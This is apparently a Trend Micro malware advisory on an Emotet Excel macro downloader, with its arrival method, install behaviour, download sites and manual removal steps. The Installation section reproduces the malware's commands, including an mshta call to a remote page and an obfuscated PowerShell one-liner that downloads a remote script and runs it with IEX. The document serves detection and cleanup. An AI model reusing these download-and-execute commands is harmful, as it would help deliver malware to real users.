Trojan.XF.EMOTET.YXCA1
TrojanDownloader:O97M/Emotet.RVB!MTB (MICROSOFT)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
77,592 bytes
XLS
No
27 Jan 2022
Connects to URLs/IPs, Downloads files
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- cmd /c mshta http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html
- "%System%\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
- "%System%\cmd.exe" /c %Windows%\SysWow64\rundll32.exe C:\ProgramData\QWER.dll , AADD
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}n.com/wp-content/XSs5/
- http://{BLOCKED}lubin.igclout.com/wp-admin/vzOG/
- http://{BLOCKED}ravel.com/cgi-bin/2TjUH/
- http://{BLOCKED}struction.com/wp-admin/JJEf0kEA5/
- http://{BLOCKED}bradley.com/css/YcDc927SJR/
- https://{BLOCKED}r.com/wp-includes/ghFXVrGLEh/
- https://{BLOCKED}tudio.com/wp-admin/c3zgRi2wXwCbdSD3iz/
- https://{BLOCKED}rtinsanchez.com/wp-admin/QpFDJPMY49/
- https://{BLOCKED}yecentre.org/cgi-bin/l42slgmf8nBpUYsb/
- https://{BLOCKED}-milano.com/wp-content/FEj3y4z/
- https://{BLOCKED}ortchannel.com/wp-includes/KaWZp0odkEO/
- https://{BLOCKED}egypt.com/wp-includes/W7qXVeGp/
- http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png
It saves the files it downloads using the following names:
- C:\ProgramData\QWER.dll
NOTES:
This Trojan does the following:
- The document contains the following message details luring users to enable macro content:
- It opens the following URLs via mshta.exe:
- http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html
SOLUTION
9.800
17.344.05
28 Jan 2022
17.345.00
29 Jan 2022
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- C:\ProgramData\QWER.dll
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.YXCA1. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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